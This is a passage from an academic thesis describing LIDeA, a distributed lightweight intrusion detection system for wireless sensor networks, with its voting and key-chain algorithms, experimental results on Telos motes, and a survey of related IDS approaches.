following in our system, is the watchdog approach (101). Each packet transmitted in the network

is not only received by the sender and the receiver, but also from a set of neighboring nodes within

the sender’s radio range. Normally these nodes would discard the packet, since they are not the

intended receivers, but for intrusion detection this can be used as a valuable audit source. Hence,

a node can activate its IDS agent and monitor the packets sent by its neighbors, by overhearing

them (Figure 3.1). Since any node can act as a router and traffic is usually distributed for load

balancing purposes, packet monitoring should take place in every node of the network.

Usually, when the activities involved in an attack fall beyond the scope of one IDS component,

distributed IDS systems require that the audit data collected from different places be forwarded

to a central location for analysis. In sensor networks such a location could be the base station.

However, it is not a wise choice to make, given the large communication overhead involved. This

means that some sort of aggregation must take place locally, at the area of the attack, either at a

specific node in the network or in a distributed fashion.

In the first case, the intrusion related information from different locations can be collected by a

node (e.g. cluster head) and correlated together to make the final decision on the intrusion. The rest

of the nodes do not participate in this decision. In such architectures, the decision-making nodes

can attract the interest of an attacker, since their elimination would leave the network undefended.

Furthermore, they restrict computation-intensive analysis of overall network security state to a few

key nodes. Their special mission of processing the information from other nodes and deciding on

intrusion attempts results in an extra processing overhead, which may quickly lead to their energy

exhaustion, unless different nodes are dynamically elected periodically. Therefore, the second case,
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where audit data are aggregated in a distributed fashion is more appropriate for sensor networks

and will be followed in our approach.

In its configuration, the system model does not include timing assumptions and is characterized

by communication between 1-hop and 2-hop neighbors and the use of modern cryptography. There

are no a priori trusted nodes, or any reputation system, as that would raise considerably the energy

requirements. Instead, as we described in Section 3.4.2, the system allows the arbitrary behavior

of the nodes: a node (collaborator) may behave normally with respect to routing in order to avoid

being detected by the IDS, but it can show malicious behavior to obstruct the successful detection

of another intruder node. Our IDS system is based on the power of majority to protect itself from

these misbehaving nodes.

3.5.2 Cooperative Detection Engine

The overall objective of our collaborative approach is to have neighboring nodes identify the source

of the attack. Attacks are locally detected by the hosted IDS agents. We abstract such mechanisms

of a sensor node into a local detection engine (Section 3.6.2). In what follows, we concentrate

on the case where there is only one attacker (t = 1) and present some necessary and sufficient

conditions (100) for the solvability of the intrusion detection problem. However, following the

threat model presented in Section 3.4.2, the performance evaluation of our scheme (Section 3.7) is

based on a more generalized case where a number of collaborators may exist that try to hide the

existence of the attacker.

Whenever the detection engine at a node s notices something wrong in its neighborhood, it

outputs an alert. This alert can contain one of two things: either the node ID of the attacker or

a list of suspected nodes. In the first case, the node detecting the attack was able to identify the

source (102). In the second case, it simply outputs some set Suspect(s) of possible attacking nodes.

Suspect(s) will contain a subset of neighbors or may even be equal to the whole neighborhood of

s. In any case, it cannot contain any non-neighboring node, since node s could not have observed

an attack outside its radio range. By communicating its list of suspected nodes to the other nodes

and collaborating with them is what can lead to a narrowed set of possible nodes that could be the

attacker.

For the following we define the alerted set of a node s, Alert(s), to contain the IDs of all

its neighboring nodes that have detected the attack, i.e. produced an alert and transmitted their

suspected sets. Below we define a sufficient condition, the truth of which implies that the IDP can

be solved by our collaborative approach.

Condition 1. Intrusion Detection Condition 1 (IDC-1). For all nodes in the neighborhood of the
attacker, no other node has the same alert set as the attacker.
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Figure 3.2: An example topology where node 6
is the attacker. No other neighboring node has
the same alert region as the attacker.
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Figure 3.3: An example topology where node 6
is the attacker. Node 4 has the same alert region
as the attacker.

As an example, consider the case depicted in Figure 3.2 where node 6 is the attacker. Here, all

its neighboring nodes (1, 4, 5, 7) are in alert mode and their alert and suspect sets are:

Table 3.1: Produced Suspected Sets

Alert(1):: {∅}, Suspect(1):: {2, 6} Alert(4):: {5}, Suspect(4):: {3, 5, 6}
Alert(5):: {4, 7}, Suspect(5):: {4, 6, 7} Alert(7):: {5}, Suspect(7):: {5, 6}

Let all alerted nodes exchange their suspect sets. This is possible in our system model because

each pair of honest nodes is connected by a path consisting of honest nodes, and communica-

tion is reliable. Note that the attacker also can go into the alert mode. Moreover, it can send

different suspected sets to different nodes. However, as we assume that all nodes know their 2-hop-

neighborhood, the suspected set of the attacker may only contain its neighbors. Otherwise, the

attackers messages would be discarded.

Consider the suspected sets received by all honest nodes. As the attacker is included in the

suspected set of every honest node, and no honest node has the same alerted neighborhood as the

attacker, no honest node can be suspected by more nodes than the attacker. Thus, if some node

is suspected by more nodes than all other nodes, this node can be immediately identified as the

attacker. In this case, the identified source is node 6.

A more complicated case arises when there are two or more nodes which are suspected by the

same number of nodes. This situation can arise, e.g., if the attacker also goes into the alert mode
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and accuses some of its neighbors. For instance, in our case, the attacker can issue an alert accusing

node 4 as the source of the attack. This will result to the confusion of honest node 5 who will,

then, conclude on a set of possible attackers (4, 6) which have the same number of suspicions. How

can such a node distinguish between nodes 4 and 6?

Obviously, because of IDC − 1, there are some honest nodes (i.e. node 7) who have the actual

attacker in the suspected set but not node 4. Therefore, node 5 must decide which of nodes 6 and 7

lies about their suspicion. We can show that there is an alerted node which is not neighbor of node

7 (i.e. node 1). Indeed, if all alerted nodes were neighbors of node 7, then nodes 6 and 7 would

have the same alerted neighborhood with respect to each other, which contradicts the IDC − 1.

Thus, node 5 has to find out which of the nodes 4 and 6 is not a neighbor of some alerted node.

This is possible as all nodes know their 2-hop neighborhood. This node has to be honest, and the

remaining node is identified as the attacker.

But what happens if IDC − 1 is not satisfied, as in Figure 3.3 where nodes 4 and 6 has the

same alert sets with respect to each other? Obviously, if the attacker participates in the process,

this results in all nodes suspecting equally both nodes 4 and 6. In the following we give another

sufficient condition for solving the intrusion detection problem which can be valid in the network

independently of the validity of IDC − 1.

Condition 2. Intrusion Detection Condition 2 (IDC-2). If all neighbors of the attacker are alerted,
then,

• If two or more nodes are suspected by the majority of nodes, then all honest nodes suspected
by the majority have non-alerted neighbors.

As an example, consider the case depicted in Figure 3.3. Here two nodes 4 and 6 are suspected

by the majority of the honest nodes. In this case, the alerted nodes have to find out which of these

two “suspects” have non-alerted neighbors. We can see that node 3 which is a neighbor of node 4

has not issued an alert. This means that it hasn’t detected any suspicious behavior coming from

node 4. Therefore, node 6 is the actual attacker since all of its neighboring nodes have gone into

alert mode.

The above described conditions are both sufficient and necessary for the solvability of IDP

meaning that either the IDC− 1 or the IDC− 2 should be satisfied in the sensor network in order

for our collaborative scheme to conclude on the attacker’s ID. Having covered the basic concepts

of our intrusion detection system (more detailed can be found in (100)), in the next section we will

emphasize on the algorithms that are actually followed by the distributed IDS agents.
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3.6 LIDeA: A Distributed Lightweight Intrusion Detection Frame-
work

The agents that are hosted by the nodes are capable of sharing their partial views, agree on the

identity of the source and expose it. By distributing the agents throughout the network and have

them collaborate, we make the system scalable and adaptive. When a malicious node is found,

an alarm message is broadcasted to the network. Each node then makes a final decision based

on the detection reports from other nodes. To avoid drastic flooding over the network caused by

broadcasting local detection results, the alarm messages are restricted to a region formed only by

the alerted nodes.

We build the architecture of the IDS agent based on the conceptual modules shown in Figure 3.4.

Each module is responsible for a specific function, which we describe in the sections below. The IDS

agents are identical in each node and they can broadcast messages for agents residing in neighboring

nodes.

Local Packet
Monitoring

Neighborhood
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Key
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Intrusion Tracing

Local Detection Engine

Anomaly
Detection

Misuse
Detection

Local Response

Local
Communication

Multi-hop
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Cooperative
Detection Engine
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Figure 3.4: Architecture of LIDeA IDS agent.

3.6.1 Neighborhood Perimeter & Key Management Module

After the deployment of the sensor network, an initialization phase takes place. During this phase

all nodes discover their 2-hop neighborhood by broadcasting their IDs with a packet that has a
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TTL field equal to 2, meaning that each packet will be forwarded only once by the sender’s 1-

hop neighbors (NeighborhoodPerimeter module). This is done because, as we described earlier,

the detection process involves the communication of the nodes which are neighbors of the (yet

unknown) attacker, but they might be 2-hops away from each other.

Next, each node generates a one-way key chain of length n, using a pre-assigned unique secret

key Kn (KeyManagement module). A one-way key chain (103) (K0,K1, . . . , Kn−1,Kn) is an ordered

list of cryptographic keys generated by successively applying a one-way hash function F to the key

seed Kn, such as Kj = F (Kj+1), for j = n− 1 . . . 0. Therefore, any key Kj is a commitment to all

subsequent keys Ki, i > j. As the last step in the initialization phase, each node announces the

resulted K0 to all of its 1-hop and 2-hop neighbors following the same procedure described above

for the 2-hop neighborhood discovery.

The intuition behind the usage of such a key-chain scheme is to authenticate each one of the

subsequent message transmissions that hold a node’s vote. Since we don’t care about secrecy, as the

attacker can participate in the detection process, we wish to ensure message integrity and freshness.

Therefore, it is more efficient to use key chains, instead of other cryptographic primitives (e.g.,

public key cryptography), as they are lightweight enough to run in limited computing environments

like the ones we encounter in sensor networks. This is based on the fact that once a sensor node

has an authenticated key in a key chain, only pseudo random function operations are needed to

authenticate the subsequent broadcast messages.

Furthermore, key chains ensure non-forgeability and protection against old-keys compromise.

Their operation is based on using different key commitments, at each run of the detection process

task, and disclosing the used key (for message authentication) at the end of each round (more details

can be found in Section 3.6.4). Therefore, even in the case that one of these keys is exposed by the

adversary, it doesn’t give her access to any subsequent keys. As a result she may succeed in forging

broadcast messages for only one detection process round. However, to improve the survivability

of our scheme against such forged message attacks, we use redundant message transmission and

random delays to deal with the messages that hold node votes. In this way when a node receives

an incoming signed vote, it accepts it only while it has not published its own key and it has not

received the key from the node that sends the message.

As we said, the strength and usability of these key chains depend on the authentication of the

key chain commitment contained in the corresponding commitment distribution message. At the

time of key disclosure, each one of the receivers can easily verify the correctness of the key by

checking whether it generates the previous one, stored in the key chain, through the application of

F . This makes the commitment distribution messages attractive targets for attackers. An attacker

may disrupt the distribution of the disclosed key messages, and thus prevent the sensors from
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authenticating broadcast messages during the corresponding detection process time intervals. The

simplest way to do this is to jam the communication channel. However, it is not to the benefit of

the attacker to jam or interfere overheard communications, since this can be detected by the base

station and lead to her exposure.

3.6.2 Local Detection Engine Module

This module collects the audit data from the Local Packet Monitoring module and analyzes it

according to some given rules. A set of rules is provided for each attack, and whenever one or

more rules are satisfied, a local alert is produced by the module. Whether a rule is satisfied or not

does not just depend on information from the intercepted packets, but also on information from

the 2-hop neighborhood table or information from past observed behavior.

As depicted in Figure 3.4, the LocalDetectionEngine module incorporates both classes of intru-

sion detection techniques, i.e., misuse detection and anomaly detection. Following the discussion of

Section 3.2.1, misuse detection catches intrusions in terms of the characteristics of known attacks

or system vulnerabilities (any action that confronts to the pattern of a known attack is considered

intrusive) whereas anomaly detection is based on the normal behavior of the system (any action

that significantly deviates from this behavior is considered intrusive). Example of misuse detection

rules include the case of a selective forwarding attack where the nodes are able to identify the one

node that drops the messages by monitoring the transmissions in their neighborhood (102). In

Chapter 4, we propose a set of novel misuse detection rules against the sinkhole attack that targets

the underlying routing layer.

In the case of anomaly detection, statistical modeling (104, 105) is among the earliest methods

used for detecting intrusions in electronic information systems. It is assumed that an intruder’s

behavior is noticeably different from that of a normal user, and statistical models are used to

aggregate the user’s behavior and distinguish an attacker from a normal user. In Chapter 5, we

explore the development of such a localized anomaly algorithm that can detect wormhole attacks

on wireless networks directly based on connectivity information implied by the underlying com-

munication graph. The intuition is to search for simple network structures that indicate that no

attack is taking place.

The detection engine of a node s outputs an alert. This alert can contain one of two things:

either the node ID of the attacker or a list of suspected nodes. In the first case, the node detecting

the attack was able to identify the source (e.g. a node dropping packets), so it directs the alert to

the Local Response module for immediate measures. In the second case, it simply outputs some set

Suspect(s) of possible attacking nodes. Suspect(s) will contain a subset of neighbors or may even

be equal to the whole neighborhood of s. In any case, it cannot contain any non-neighboring node,
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since node s could not have observed an attack outside its radio range. By communicating its list

of suspected nodes to the other nodes and collaborating with them is what can lead to recognizing

the attacker’s identity.

3.6.3 Alert Region Module

This module is activated only in the case where the local detection engine was inconclusive on the

identity of the attacker and a suspect set was produced. In this case we call the node an alerted

node. The set of alerted nodes define an alert region. Since not every node that belongs to the alert

region has to be within communication range of each other, we need to define a communication

abstraction intended to provide “connectivity” between them, or else a “neighborhood relationship”.

The AlertRegion module is responsible of exactly that: to let each alerted node find out about each

other, so that they can form a group and start communicating.

Algorithm 1: The Alert Region Algorithm
Data: Node ID s being in alert mode
Result: Alert region vector AR
begin

- Step 1: Send a message ma with the payload to be your node ID and a TTL field
equal to 1;

- Step 2: Set a timer T1 to expire after time τ1;
- Step 3: While the timer T1 has not expired, if you receive a message ma, store the ID

of the sender. If TTL = 1, reduce it to 0 and forward it;
- Step 4: If timer T1 expires, call the Voting Algorithm;

end

The construction of the alert region is dynamically formed at the time of the attack and proceeds

in iterations (Algorithm 1). Each alerted node s broadcasts a short message, which we call the

alert message ma(s), in order to include itself in the alert region. The phase of the alert region

construction lasts time τ1 in each node. A node will enter this phase when it detects the attack

locally and produce the local alert. Therefore, it’s not necessary that all nodes will enter this phase

simultaneously, nor do we require it. The value of the timer T1 is set experimentally so that all

nodes have sufficient time to exchange their alert messages and find out about each other.

Note that a faulty node (the attacker itself or a node collaborating with the attacker) can either

try to include itself in the alert region or choose not to forward an alert message in order to exclude

an honest node from the alert region. Since we don’t know the attacker a priori and, as we said,

we don’t require any reputation system to establish a trust relationship among the nodes, we have

no other choice but to accept this possibility. However, we expect that the original sender will have

at least one honest neighbor who will forward the packet and it will eventually reach the 2-hop
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neighbors. But still, in the case that there is only one path passing through the attacker, it is

not to the benefit of the attacker to drop messages, since this will signify an instance of selective

forwarding and the attacker will be identified more easily.

3.6.4 Exposure Module

The Exposure module is responsible for executing the core functionalities of the IDS system, namely

the Voting phase and the Publish Key phase. The goal of the Voting Phase is to have the nodes

collaborate and exchange their suspect lists (we call them votes), so that they can agree on the

identity of the attacker. Let us denote the message that bears the vote of node s as mv(s). What

is important here is to achieve consistency. Thus, honest nodes must receive the suspect lists of

the nodes in the alert region and each suspect list must indeed correspond to the one transmitted

by the alerted node (Algorithm 2).

To achieve this, we must ensure two things. First, that the votes of the honest nodes do not

get lost, i.e. all honest nodes receive all votes from the rest of the honest nodes. This is possible

because of the alert region that we constructed in the previous phase. If a vote gets lost, a node

can request it and receive it (given that it has at least one honest alerted neighbor). The second

thing to ensure is that the votes of honest nodes do not get spoofed by intermediate faulty nodes.

For this reason, each node signs the votes using the next key from its key chain.

Algorithm 2: The Voting algorithm
Data: Node ID s being in the alert region
Result: Vector of collected votes
begin

- Step 1: Send message mv(s) signed with the next key Kj from the one-way key chain:

mv(s) = Suspect(s)||H(Suspect(s)||Kj)

Set the TTL field of the message equal to 1;
Set a timer T2 to expire after time τ2;

- Step 2: Buffer any received votes from other nodes and forward them if TTL = 1;
- Step 3: If votes from all 1-hop alerted neighbors have been received, broadcast

an advertisement message madv;
- Step 4: If a message mreq has been received for a missing vote and you have it,

forward it again;
- Step 5: If corresponding messages madv from all 1-hop alerted neighbors have been

received, or time τ2 has elapsed, call the Publish Key Algorithm;
end

The exchange of votes is optimized in terms of time. Votes can be lost, either by collisions
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or bad links. If a node receives all the votes, it advertises it to its immediate neighbors and they

request any votes that they have missed. We allow enough time for this process by setting a timer

T2 to expire in time τ2. If a vote gets lost (not received by any node), the timer allows them to move

on to the next step of publishing their key and verifying the authenticity of the received votes. On

the other hand, if all neighbors of a node (itself included) advertise that they have received all the

votes, there is no need to wait for the timer. That node can move to the next phase (Figure 3.5).
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Figure 3.5: Message exchange between two nodes while they move through the phases of the protocol.
Clocks indicate timer interrupts that force passage into the next phase.

In the Publish Key phase each node broadcasts the next key of its hash chain, Kj , which was

used to sign the vote. When a node receives the disclosed key, it can easily verify the correctness

of the key by checking whether Kj generates the previous one through the application of F . If the

key is correct, it replaces the old commitment Kj−1 with the new one in its memory. Then the

node can now use the key to verify the signature of the corresponding vote stored in its buffer. If

this process is successful, it accepts the vote as authentic.

Since a packet with the key can get lost, we need a third timer, T3 as a “hard deadline” for

receiving the keys. This timer is initialized just after a node publishes its own key and it’s set to

expire at time τ3. When all the keys from the alerted nodes are received or the timer expires, the

nodes move to the final step of processing the votes. In the case where a key has been missed, the

corresponding vote is discarded (Algorithm 3).

Since nodes are not time synchronized, and some nodes may start publishing their keys while

others are still in the voting phase, we need to consider “man in the middle” attacks. When a node

sends its vote, an attacker may withhold it until that node publishes its key. Then it can change

the vote, sign it again with the new key, and forward it to the next alerted node. Following that,

the attacker also forwards the key, and the receiver will be able to verify the signature and accept

the fake vote as authentic. An explicit defense against this attack would be to require the nodes to

be loosely synchronized as in µTESLA (72). Here, however, we have decided to keep things simple

46



3.6 LIDeA: A Distributed Lightweight Intrusion Detection Framework

Algorithm 3: The Publish Key algorithm
Data: Buffer of received votes
Result: Attacker’s ID
begin

- Step 1: Release key Kj ;
- Step 2: Set a timer T3 to expire after time τ3;
- Step 3: Once a key is received, forward it if TTL = 1;
- Step 4: Validate its authenticity through the application of F . If valid then store it,

else discard it;
- Step 5: If keys from all 1-hop alerted neighbors have been received, broadcast

an advertisement message madv;
- Step 6: If a message mreq has been received for a missing key and you have it,

forward it again;
- Step 7: If time τ3 has elapsed, do not accept any other keys;
- Step 8: Aggregate all validated mv to find the attacker’s ID;

end

and deal with this problem implicitly by relying on residual paths amongst the nodes (although we

plan to investigate the synchronization approach and consider its possible benefits). As votes are

forwarded by all nodes, even if an attacker refuses to forward a vote, it will arrive to the intended

recipients via other paths. We also take some additional measures in our algorithm having a node

accepting a vote only while it has not published its own key and it has not received the key from

the node that sends the vote.

Let us also stress that the length of the key chain is finite and at some point all the available

keys will have been used. Older keys cannot be reused, since they have been revealed by the

nodes. Therefore, the nodes should be able to regenerate the key chain in a possibly compromised

environment. To do that we follow the following method: before the node uses the last commitment,

it creates a new hash chain and broadcasts the new commitment authenticated with the last unused

key of the old chain. This essentially provides the connection between the two chains and the alerted

nodes will be able to authenticate the votes as before.

When each alerted node has collected and authenticated the votes from the other members of

the alert region, it will have knowledge of the corresponding suspect lists, itself included. Then

it applies a local operator on these lists, which will produce the final intrusion detection result,

i.e. the attacker’s ID. In particular, it applies a count operator, which counts the number of times

each node i appears in the suspect lists, or else the number of votes it collects. The node with the

majority of the votes is declared as the attacker and its ID is passed to the Local Response module.

Since we assume the existence of a number of faulty nodes that collaborate with the attacker,

we expect that they will have included themselves in the alert region and voted in order to affect
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the final result to the attacker’s benefit. The best strategy for them would be to vote against a

specific honest node, hoping that it will collect more votes than the attacker. If, however, the

majority of alerted nodes are honest, their collaborative voting will still pinpoint to the attacker.

3.6.5 Local Response Module

Once the network is aware that an intrusion has taken place and has detected the compromised

area, appropriate actions are taken by the Local Response module. The first action is to cut off

the intruder as much as possible and isolate the compromised nodes. After that, proper operation

of the network must be restored. This may include changes in the routing paths, updates of the

cryptographic material (keys, etc.) or restoring part of the system using redundant information

distributed in other parts of the network.

IDS systems in other types of networks always report an intrusion alert to a human, who takes

the final action. Correctly, this approach is usually neglected in WSN IDS literature. Sensor net-

works should (and they actually are) able to demonstrate an autonomic behavior, taking advantage

of their inherent redundancy and distributed nature. Autonomic behavior means that any response

to an intrusion attempt is performed without human intervention and within finite time.

3.7 Performance Evaluation

In this section, we present experimental results from our implementation of the IDS system de-

scribed in this chapter. The goal is to show that this framework actually works on real motes and

can be used as a reference point in the next chapters. Moreover, it will become clear to the reader

that such a system for sensor networks is lightweight enough to be a viable and realistic solution

from an implementation and real deployment perspective. The current development of the IDS

protocol builds on Moteiv Telos motes (Figure 2.2) - a popular architecture in the sensor network

research community. However, all the components are designed with adequate generality such that

porting them to different sensor platforms should yield similar performance results.

3.7.1 Memory Requirements

The memory footprint of the LIDeA framework is an important measure of its feasibility and

usefulness on limited memory constrained sensor nodes. Table 3.2 lists the memory footprint of

the LIDeA modules, compiled for the MSP 430 microcontroller.

The largest module in terms of RAM footprint is the Key Management module. This is because

it contains statically allocated tables for the neighbors and their keys. In terms of ROM, the largest

module is the Voting module, since it has the most lines of code. In total, the IDS consumes 808
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Table 3.2: Size of the compiled code, in bytes

Module RAM usage Code Size
NbPerimeter 136 968
Key Management 318 3764
Alert Region 94 766
Exposure 260 4548
Total 808 10046

bytes of RAM and 10, 046 bytes of code memory. This leaves enough space in the mote’s memory

for user applications. For example, the total RAM available in Telos motes is 10 KB.

3.7.2 Experimental Results

To evaluate the performance of the implementation of the IDS, we tested it in a real environment.

In particular we deployed several nodes in random topologies on the floor of an office building. We

set a node to be the “attacker” and we gradually incremented the number of its neighbors to form

larger alert regions. For each alert region size, we repeated the experiment for 20 different random

topologies. It is essential here to highlight that this is not an experiment on the effectiveness of any

defined set of detection rules and algorithms. The attacking node was programmed to transmit,

at some time τ , a hardcoded “attack message”. This way we could have the neighbors of that

node being in alert mode and apply the intrusion detection algorithm, assuming of course that

they did not know the attacker. The goal is to measure the performance of LIDeA in terms of

communication cost, computation cost and detection time.

The experiments were performed by having the motes running a typical monitoring application.

In particular we loaded the Delta application, where the motes report environmental measurements

to the base station every 5 seconds. Our goal is to demonstrate how well the IDS will function,

even under the presence of traffic on other layers. Then we simulated an attack to trigger the IDS

protocol.

Figure 3.6 depicts the communication cost of the protocol measured in packets sent by a node.

In particular, we broke it down to the packets exchanged for the alert region phase and the voting

phase (as a total of exchanging the votes, ADV, REQ and keys). For small alert region sizes the

cost is only about 12 packets, while for more dense regions the cost still remains low (21 packets).

This is the total communication cost per attack and involves only the nodes in the alert region. It

is also measured as a mean time averaged on different random topologies. The number of packets

depends on the topology and the number of nodes in the alert region, as these parameters determine

the number of alert messages, votes and keys circulated amongst them.
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Figure 3.6: Measured communication cost for
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Figure 3.7: Detection time for different sizes of
the alert region.

Next we measured the time that each phase of the IDS protocol required, i.e., the alert region

formation, and the voting phase. We break the latter down to three smaller phases, to make it

more transparent: the exchange of the votes along with possible requests (Voting), the exchange

of the ADV messages and finally the publication of the keys along with the authentication of the

votes and the computation of the final result (Publish Key). Figure 3.7 shows the measured mean

times for each of the above phases, for different alert region sizes (i.e. attacker’s neighborhood).

What we can infer from Figure 3.7 is that the times for the first three phases have small

deviations as the alert region size increases, and constitute a small overhead from the total time.

The most time-consuming phase is the last one of exchanging the keys and verifying the votes. To

get a better insight of this, we measured the time needed for the computational operations within

this phase. In particular, the time a node needs to authenticate each received key (i.e., to check if

the hash of the new key matches with the previous one) is approximately 15ms. The validation of

the signature of the vote takes about 25ms and the aggregation of the received vote with the rest

in order to produce the final result takes 150ms. For the construction of its own vote, a node needs

60ms and signing it with its key takes 25ms.

Figure 3.8 expresses the percentage of costs for computation and communication for this phase.

We can conclude that most of the overhead arises from the transmission of data rather than from

any computational costs. This overhead for the communication is due to the inherent inability of the

sensor operating environment (TinyOS) to receive the next packet before finishing the processing

of the current one. In our implementation, upon receiving a key, the node has to verify it is a valid

one before accepting it. To save memory space, we don’t buffer the key for later processing, but
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Figure 3.9: Behavior of the detection process
under the presence of traffic on other layers.

rather we authenticate it on the fly. Meanwhile, the sensor cannot receive the next key. That’s why

we had to include a random delay so that nodes publish their keys in different time instances. This

delay, although experimentally minimized, contributes significantly to the results of Figure 3.8.

It is also important to see how the behavior of the IDS is affected by the traffic introduced by

the application layer. That is, if the application needs to increase the data rate of the information

routed in the network, the bandwidth that remains for the communication of the IDS agents

decreases. Figure 3.9 shows the detection delay of the IDS as the aggregative data rate of packets

at the routing and application layers increases. This increase actually corresponds to different

packet rates of the running application (1 packet every 1, 3, 5 and 10 seconds), as the rate of the

route update packets was fixed to 1 packet every 5 seconds. The alert region size was set to 6 nodes

throughout the experiments. As we see from the figure, for an increase of 300% in the data rate

(from 34.8 bps to 139.2 bps) the detection delay is increased only by 1.6 seconds. As more and

more packets are sent and received from the nodes, a delay to exchange the necessary packets for

the intrusion detection is unavoidable, due to the CSMA back-off waiting time. We believe that a

better MAC layer protocol would drop this delay further.

3.8 Existing IDS Approaches

We conclude this chapter by studying the various IDS systems that have been proposed for detect-

ing compromised node(s) in WSNs. Their methodologies can be categorized in three major classes

depending upon the way they install the IDS agents throughout the network (106). Agent distribu-

tion can follow a purely distributed approach, a purely centralized approach or a hybrid approach.
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Here we will present the most commonly used detection schemes, which may fall under more than

one category, trying to evaluate their effectiveness by discussing their strengths and shortcomings.

A summary of these findings can be found in Table 3.3.

3.8.1 Distributed Approaches

In distributed intrusion detection systems, the IDS agents are installed in every node of the network

for monitoring and analyzing the operations of their neighboring nodes. This is the class where

LIDeA belongs into. As we described in the previous sections, we believe that such a distribution

of intrusion detection agents suits the characteristics and demands of sensor network applications.

In (107), Roman et al. introduce a neighbor monitoring technique known as spontaneous watch-

dog. They incorporate two classes of IDS agents: local agents and global agents. Local agents are

active in every node and are responsible for monitoring and analyzing only local sources of in-

formation. Global agents are active at only a subset of nodes. They are in charge of analyzing

packets flowing in their immediate neighborhood. In order for the whole communication in the

network to be covered by global agents, the global agents must be activated at the right nodes. For

example, if clusters are used, the global agents will be activated at the cluster-heads. In case of a

flat architecture, the authors propose another solution that tries to activate only one global agent

for a packet circulating in the network.

Another kind of distributed anomaly detection mechanism is proposed by Loo et al. (108) and

Bhuse and Gupta (109), emphasizing on routing attacks in sensor networks. Both papers assume

that routing protocols for ad hoc networks can also be applied to WSNs: Loo et al. (108) assume

the AODV (Ad hoc On-Demand Distance Vector) protocol while Bhuse and Gupta (109) use the

DSDV and DSR protocols. Then, specific characteristics of these protocols are used like “number

of route requests received” to detect intruders. However, to the best of our knowledge, these

routing protocols are not attractive for sensor networks and they have not been applied to any

implementation that we are aware of.

Moving on, Shaikh et al. (110) present an intrusion-aware validation algorithm for enhancing

those distributed cooperative IDS systems that lack confirmation about the source of the alert

because compromised nodes can generate false alarms about honest nodes. It works in two phases.

In consensus phase, a node checks, after receiving an alert, whether or not the alerted node is

declared (available in list) as abnormal. If the information is not available then it checks the

anomaly type and the threat level. It randomly selects n number of its neighbors (according to the

threat level) for consensus and sends confirmation request packets. When some node receives such

a packet, the decision phase is activated for replying whether it agrees with the suspicion or not. At
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the end, the initial node, based on the responses received, makes a final decision; validate (node is

abnormal), no consensus (not identified) and invalidate (node that sends the alert is compromised).

Finally, Ahmed et al. (111) propose a distributed abnormal node detection approach that uses

both signature and anomaly based techniques. In their architecture, the sensor network is divided

into groups that communicate with each other in an hierarchical way. Such groups are controlled

by central pairs or cluster-heads. Then, every sensor node analyzes the behavior of its pairing node

and generates an alert if abnormal is detected. Data are collected by some predefined features and

are forwarded to a central knowledge base that stores information about all the nodes present in a

group or outside this group. A similar group-based approach is also proposed by Li et. al (112).

Our work is different from the above approaches in the sense that we try to generalize the

problem of intrusion detection for sensor networks and build an architecture that tolerates the

presence of other compromised nodes that may exist and collaborate with the attacking node in

order to hinder the detection process. We do not concentrate on how to detect specific attacks,

although we will provide novel algorithms, that can be incorporated in each of the IDS agents,

in the next chapters. We focus on the distributed computing nature of the architecture in order

to show that with collaborative processing an IDS system can become lightweight enough to be

realistic for sensor networks.

Table 3.3: Comparison of IDS based Security Mechanisms

Proposed Approach Det. Policy Decision Attacks Limitations

- Decisions made by individual

Watchdog (107) Any Individual Novel nodes; no cooperation

- Cannot withstand collaborators

FW-Clustering (108) Anomaly Individual Routing - Detection of only routing attacks

- Individual decisions

ANDES (109) Anomaly BS Physical - Involves the BS; bottleneck

Routing

- Requires consensus of nodes; it is

IA Validation (110) Anomaly Cooperative — very difficult to be achieved

- Cannot withstand collaborators

Pair-based (111) Both Pair Node Novel - Use of cluster-heads

Centralized (113) Anomaly Sink — - Use of BS

Decentralized Specification Monitor N. Transprt. - Use of monitor nodes;

(114, 115) Routing single points of failure

LIDeA Both Cooperative Novel - Initial Network Setup
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3.8.2 Centralized Approaches

In centralized intrusion detection systems, the sink or the base station collects some specific informa-

tion from sensor nodes using any special routing protocol and analyzes it to detect intrusions. The

main disadvantage here is that nodes may need to communicate with the base station frequently.

In a resource constrained environment, however, such as sensor networks this could significantly

reduce the lifetime of the networking nodes.

Zhang et al. (113) present such an intrusion detection framework. Their approach is based on

simple graph theory techniques for effectively detecting compromised beacon nodes. Beacon nodes

provide location information to the sensors and, if compromised, they may transmit false data

resulting in the performance degradation of the routing protocol. It is assumed that IDS agents

are installed to every beacon node that generates alerts about observed malicious activity. The

sink or BS receives these alerts by any secure transmission protocol. Once a sufficient amount of

data is gathered, it applies the proposed graph theory based detection mechanism to find whether

information is received from reliable source or not.

3.8.3 Hybrid Approaches

In hybrid intrusion detection architectures, the IDS agents are installed in nodes which are called

monitor nodes. In normal listening, monitor nodes interpret and forward after processing those

messages that are destined to it. On the other hand, in promiscuous listening monitor nodes inter-

pret all messages whether they are destined to it or not. Such approaches avoid the complexity of

using an additional specialized routing protocol (centralized) and limit the overall energy consump-

tion of sensor nodes (distributed). However, the use of special-purpose nodes can cause a bottleneck

and act as a single point of failure since their compromise can lead to the degradation of the entire

detection security mechanism.

A first attempt to apply anomaly detection based on this kind of architecture is presented

by Da Silva et al. (114). According to the author’s proposed algorithm, there are some monitor

nodes in the network, which are responsible for monitoring their neighbors looking for intruders.

These nodes listen to messages in their radio range and store certain message fields that might be

useful to the rule application phase. Then, they try to detect some attacks, like message delay,

repetition, data alteration, blackhole and selective forwarding. It is concluded from the paper that

the buffer size to store the monitored messages is an important factor that greatly effects the false

positives number. Given the restricted memory available in motes, it turns out that the detection

effectiveness is kept to lower levels.
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A similar approach is followed by Onat and Miri (115), where each node has a fixed-size buffer to

store the packets received from neighbors and their corresponding arrival time and received power.

If its power is not within certain limits, the packet is characterized anomalous. An intrusion alert

is raised if the rate at which anomalous packets are detected over the overall rate at which packets

are received is above a given threshold. In this way the authors claim that it is possible for a node

to effectively identify an intruder impersonating a legitimate neighbor.

A completely different approach is presented by Anjum et al. (116), where the authors assume a

signature-based intrusion detection. This is the only work that takes a position against promiscuous

monitoring and argue that detection should be based only on the analysis of packets that pass

through a node. The problem then is to determine at which nodes should the IDS modules be

placed, such that all the packets are inspected at least once. The proposed solution is based on the

concepts of dominating set and minimum cut set and on the requirement that the nodes running

the IDS module should be tamper resistant.

3.9 Discussion and Critique

In this work we proposed a distributed intrusion detection architecture where nodes use coordinated

surveillance by incorporating inter-agent communication and distributed computing in decision

making to collaboratively infer the identity of the attacker from a set of suspicious nodes. As we

demonstrated, it is lightweight enough to run in parallel with other specialized security mechanisms

for enhancing the overall network security level.

However, the strength and usability of such an architecture lies on the defined set of any anomaly

